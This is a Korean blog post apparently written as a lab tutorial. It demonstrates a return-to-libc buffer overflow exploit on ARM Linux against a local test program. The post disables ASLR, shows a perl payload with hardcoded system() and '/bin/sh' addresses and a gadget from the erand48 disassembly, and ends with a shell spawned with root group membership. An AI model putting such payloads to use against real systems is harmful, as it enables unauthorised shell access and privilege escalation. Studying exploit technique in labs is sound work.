본문 바로가기

List/Embedded

[arm] RTL

 

# echo 0 > /proc/sys/kernel/randomize*     # ASLR 끄고 진행
# gcc -o test test.c 
# ./test `perl -e 'print "A"x104, "\x38\x91\xeb\xb6", "\xc0\x53\xfa\xb6", "AAAABBBB" , "\x24\x0d\xec\xb6"'`


* system() 및 "/bin/sh"

 0xb6ec0d24 <system>

 0xb6fa53c0 <"/bin/sh">


1. RTL 과정

(gdb) disas erand48

Dump of assembler code for function erand48:

   0xb6eb9118 <+0>: push {lr} ; (str lr, [sp, #-4]!)

   0xb6eb911c <+4>: ldr r3, [pc, #36] ; 0xb6eb9148 <erand48+48>

   0xb6eb9120 <+8>: ldr r1, [pc, #36] ; 0xb6eb914c <erand48+52>

   0xb6eb9124 <+12>: sub sp, sp, #12

   0xb6eb9128 <+16>: add r3, pc, r3

   0xb6eb912c <+20>: add r1, r3, r1

   0xb6eb9130 <+24>: mov r2, sp

   0xb6eb9134 <+28>: bl 0xb6eb92d0 <erand48_r>

   0xb6eb9138 <+32>: ldm sp, {r0, r1}

   0xb6eb913c <+36>: add sp, sp, #12

   0xb6eb9140 <+40>: pop {lr} ; (ldr lr, [sp], #4)

   0xb6eb9144 <+44>: bx lr



ldm sp, {r0, r1} 명령으로 SP+0의 값이 r0 레지스터로 들어가고 SP+4의 값이 r1 레지스터에 들어간다.

따라서, 위 페이로드에서 파란색 값이 "/bin/sh"의 주소로 r0 레지스터에 들어가게 된다.


그 뒤 +36 주소에서 sp <- sp+12 를 하기 때문에 페이로드에서 "AAAABBBB"의 더미를 넣어주었고, 

+40의 주소에서 SP+0의 값을 lr 레지스터에 넣어주기 때문에 위 페이로드에서 초록색 부분에 system() 함수의 주소를 넣어주었다. 


2. 결과

root@debian-armel:/home/test# ./test `perl -e 'print "A"x104, "\x38\x91\xeb\xb6", "\xc0\x53\xfa\xb6", "CCCCDDDD" , "\x24\x0d\xec\xb6"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8뷀S₃CDDDD$

$ id

uid=0(root) gid=0(root) euid=1001(lsm) groups=1001(lsm),0(root)

$ whoami

lsm

$



3. 결론

ASLR이 걸려있지 않다는 조건 하에 system("/bin/sh") 로 리턴하기 위해 20바이트 크기의 bof가 발생해야한다는 것을 알 수 있다.

'List > Embedded' 카테고리의 다른 글

Explain about MIPS ROP using router vuln  (0) 2015.09.05
[mips] 기초  (0) 2015.09.05
[armel] 기초  (0) 2015.09.04
Embedded 환경 구축  (0) 2015.06.18
firmware-mod-kit(fmk) 설치  (2) 2015.01.23